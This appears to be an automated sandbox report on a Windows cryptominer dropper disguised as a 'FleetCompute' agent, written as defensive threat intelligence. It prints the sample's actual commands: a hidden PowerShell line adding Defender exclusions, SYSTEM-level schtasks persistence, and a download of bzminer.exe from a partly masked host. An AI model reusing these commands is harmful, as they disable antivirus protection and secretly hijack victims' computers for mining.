Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\fleetcomputeagent
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "try{Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\FleetCompute';Add-MpPreference -ExclusionProcess 'fc-engine.exe';Add-MpPreference -ExclusionProcess ...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\fleetcompute\logs\agent.log
- %LOCALAPPDATA%\fleetcompute\fleetcomputeservice.exe
- %TEMP%\agent_gpu.txt
Deletes following files that it created itself
- %TEMP%\agent_gpu.txt
Network activity
Connects to
- 'mi##.#pesniper.xyz':80
TCP
HTTP GET requests
- http://mi##.#pesniper.xyz/download/bzminer.exe
HTTP POST requests
- http://mi##.#pesniper.xyz/api/rig/enroll
- http://mi##.#pesniper.xyz/api/rig/heartbeat
UDP
- DNS ASK mi##.#pesniper.xyz
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\fleetcompute\fleetcomputeservice.exe' --run
Executes the following
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""%LOCALAPPDATA%\FleetCompute\FleetComputeService.exe" --run"
- '<SYSTEM32>\schtasks.exe' /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""%LOCALAPPDATA%\FleetCompute\FleetComputeService.exe" --run"
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name /format:list > "%TEMP%\agent_gpu.txt"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name /format:list
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\FleetCompute\update.cmd""
- '<SYSTEM32>\ping.exe' -n 2 127.0.0.1
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /TN FleetComputeWake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""%LOCALAPPDATA%\FleetCompute\FleetComputeService.exe" --run" >nul 2>&1
- '%LOCALAPPDATA%\fleetcompute\fleetcomputeservice.exe' --run' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""%LOCALAPPDATA%\FleetCompute\FleetComputeService.exe" --run"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name /format:list > "%TEMP%\agent_gpu.txt"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\FleetCompute\update.cmd""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /TN FleetComputeWake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""%LOCALAPPDATA%\FleetCompute\FleetComputeService.exe" --run" >nul 2>&1' (with hidden window)
